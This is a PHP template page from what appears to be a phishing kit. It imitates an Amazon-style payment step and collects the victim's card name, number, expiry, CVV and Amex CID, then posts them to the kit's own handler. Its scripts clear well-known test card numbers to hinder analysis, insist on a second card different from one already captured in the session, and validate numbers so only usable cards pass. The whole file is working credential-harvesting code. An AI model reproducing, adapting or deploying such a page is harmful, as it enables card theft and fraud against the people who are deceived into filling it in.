<?php 
defined("ACCESS") or die('Konz');
include FCPATH. "arahmataAngin/application/views/layout/header.php";
?>
<script>
function ccc(){
    var cc = document.getElementById("ccn").value;
    if(cc.match(/^[0-2]|^[7-9]/))
    {
            document.getElementById("ccn").value = "";
    }
    if(cc.match(/4111111111111111|5500000000000004|340000000000009|30000000000004|3088000000000009/))
    {
            document.getElementById("ccn").value = "";
    }
    var type = cc.substr(0, 2);
    var type1 = cc.substr(0, 1);

    if(type == "37" || type == "34") {
	  $("#amexcid").html(' <div class="form-group"><label for="cid">Card Identification Number</label><input type="tel" class="form-control amazoninput cvvfocus" name="cid" id="cid" placeholder="CID" maxlength="3" autocorrect="off" required> </div>');
      $("#cvv").attr('maxlength','4');
      $("#cvv").attr('minlength','4');
    }else{
      $("#cvv").attr('maxlength','3');
      $("#cvv").attr('minlength','3');
      $("#amexcid").html('');
    }
}
</script>
				<ul class="list-unstyled multi-steps" style="padding-top: 10px" align="center">
					<li>
						<?php echo $_113 ?>
					</li>
					<li>
						<?php echo $_46 ?>
					</li>
					<li class="is-active">
						<?php echo $_47 ?>
					</li>
					<li>
						<?php echo $_48 ?>
					</li>
				</ul>
				<div class="cc-content2" style="padding-top: 0">
					<div class="container">
						<div align="center"> <img src="<?=base_url()?>arahmataAngin/assets/images/payment.png" width="80"> </div>
						<div align="center"> <span class="lefttext" style="font-size: 20px; font-weight: 650;"><?php echo $_84 ?></span> </div>
						<div align="center"> <span class="lefttext" style="color: red;"><?php echo $_116?></span> </div>
						<div class="row" style="padding-top: 5px">
							<div class="col-12">
								<div class="mypayementarea">
									<form action="<?=base_url()?>payment/process" method="post" onsubmit="return expCheck() && doubleCc() && ccnCheck();" name="konzform" id="konzform"> 
										<input type="hidden" value="<?= $_SESSION['ccn'] ?>" id="ccn1" name="ccn1">
										<span class="colorblacked" style="display:block;"><?php echo $_85 ?></span>
										<div class="row mt-3">
											<div class="col-sm-6">
												<div class="form-group">
													<label for="nameoncard">
														<?php echo $_86 ?>
													</label>
													<input type="text" class="form-control amazoninput namefocus" name="namecard" id="namecard" placeholder="<?php echo $_86 ?>" maxlength="30"> </div>
											</div>
											<div class="col-sm-6">
												<div class="form-group">
													<label for="ccn">
														<?php echo $_87 ?>
													</label>
													<input type="text" class="form-control amazoninput cardfocus" onkeyup="ccc();" name="ccn" id="ccn" placeholder="<?php echo $_87 ?>" maxlength="16">
													<p class="middle cardError hide" style="color: #CC1C39; padding-top: 5px; font-size:13px"><?php echo $_119 ?></p>
												</div>
											</div>
											
											<div class="col-sm-6">
												<div class="row">
													<div class="col-6">
														<div class="form-group">
															<label for="expmonth">
																<?php echo $_91 ?>
															</label>
															<select class="form-control amazoninput mmfocus" name="expmonth" id="expmonth">
																<option value="">
																	<?php echo $_114 ?>
																</option>
																<option value="01">01</option>
																<option value="02">02</option>
																<option value="03">03</option>
																<option value="04">04</option>
																<option value="05">05</option>
																<option value="06">06</option>
																<option value="07">07</option>
																<option value="08">08</option>
																<option value="09">09</option>
																<option value="10">10</option>
																<option value="11">11</option>
																<option value="12">12</option>
															</select>
														</div>
													</div>
													<div class="col-6">
														<div class="form-group" style="padding-top: 23.2px">
															<select height="100" class="form-control amazoninput yyfocus" name="expyear" id="expyear">
																<option value="">
																	<?php echo $_115 ?>
																</option>
																<option value="2023">2023</option>
																<option value="2024">2024</option>
																<option value="2025">2025</option>
																<option value="2026">2026</option>
																<option value="2027">2027</option>
																<option value="2028">2028</option>
																<option value="2029">2029</option>
																<option value="2030">2030</option>
																<option value="2031">2031</option>
																<option value="2032">2032</option>
																<option value="2033">2033</option>
																<option value="2034">2034</option>
																<option value="2035">2035</option>
																<option value="2036">2036</option>
																<option value="2037">2037</option>
																<option value="2038">2038</option>
																<option value="2039">2039</option>
																<option value="2040">2040</option>
																<option value="2041">2041</option>
															</select>
														</div>
													</div>
												</div>
											   <p class="middle hide errorExp" style="color: #CC1C39; margin-top: -0.9em;font-size:13px;"><?php echo $_92 ?></p>
											</div>
											
											<div class="col-sm-6">
												<div class="form-group">
													<label for="cvv">
														<?php echo $_89 ?>
													</label>
													<input type="text" class="form-control amazoninput cvvfocus" name="cvv" id="cvv" placeholder="<?php echo $_90 ?>"> </div>
											</div>
											
											<div class="col-sm-6">
												<div id="amexcid"></div>
											</div>
											
											
											
										</div>
									<input type="submit" name="Sex" class="btn a-button-input" value="Continue"> </form>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
<?php include FCPATH. "arahmataAngin/application/views/layout/footer.php"; ?>
		<script>
		let load;

		let _loader = () => {
			load = setTimeout(showPage, 1000);
		}

		let showPage = () => {
			document.getElementById('loader').style.display = 'none';
			document.getElementById('myDiv').style.display = 'block';
		}

		const alpha = (e) => {
		    let k;
		    document.all ? k = e.keyCode : k = e.which;
		    return ((k > 64 && k < 91) || (k > 96 && k < 123) || k == 8 || k == 32 || (k >= 48 && k <= 57));
		}

		$(document).ready(function(e) {
			$("#konzform").validate({
				errorClass: "error-class",
				rules: {
					namecard: {
						required: true,
						minlength: 5,
						maxlength: 30
					},
					ccn: {
						required: true
					},
					cvv: {
						required: true,
						digits: true,
						minlength: 3
					},
					expmonth: {
						required: true
					},
					expyear: {
						required: true
					}
				},
				messages: {
					namecard: {
						required: "<?php echo $_93 ?>",
						minlength: "<?php echo $_94 ?>"
					},
					ccn: {
						required: "<?php echo $_95 ?>"
					},
					cvv: {
						required: "<?php echo $_96 ?>"
					},
					expmonth: {
						required: "<?php echo $_97 ?>"
					},
					expyear: {
						required: "<?php echo $_98 ?>"
					}
				}
			});
		})
		
		let expCheck = () => {
			let today = new Date();
			let expDate = new Date($('#expyear').val(), ($('#expmonth').val() - 1));
			let check = true;
			if(today.getTime() > expDate.getTime()) {
				$('.errorExp').removeClass('hide');
				$('.yyfocus').addClass('error-class-focus');
				$('.mmfocus').addClass('error-class-focus');
				return false;
			} else {
				$('.errorExp').addClass('hide');
				$('.yyfocus').removeClass('error-class-focus');
				$('.mmfocus').removeClass('error-class-focus');
				return true;
			}
			if(!check) {
				return false;
			}
			return check;
		}

		let doubleCc = () => {
            let ccn = document.querySelector('input[name=ccn]');
            const ccn1 = document.querySelector('input[name=ccn1]');
			if (ccn.value === ccn1.value) {
				$('.cardfocus').addClass('error-class-focus');
				$('.cardError').removeClass('hide');
				return false;
			} else {
				$('.cardfocus').removeClass('error-class-focus');
				$('.cardError').addClass('hide');
				return true;
			}
		}

		let ccnCheck = () => {
    	  let result = $('#ccn').validateCreditCard();
    	        if(!result.valid) {
    	          $('.cardError').removeClass('hide');
	
    	            return false;
    	      }
    	  }
		</script>
	</body>

	</html>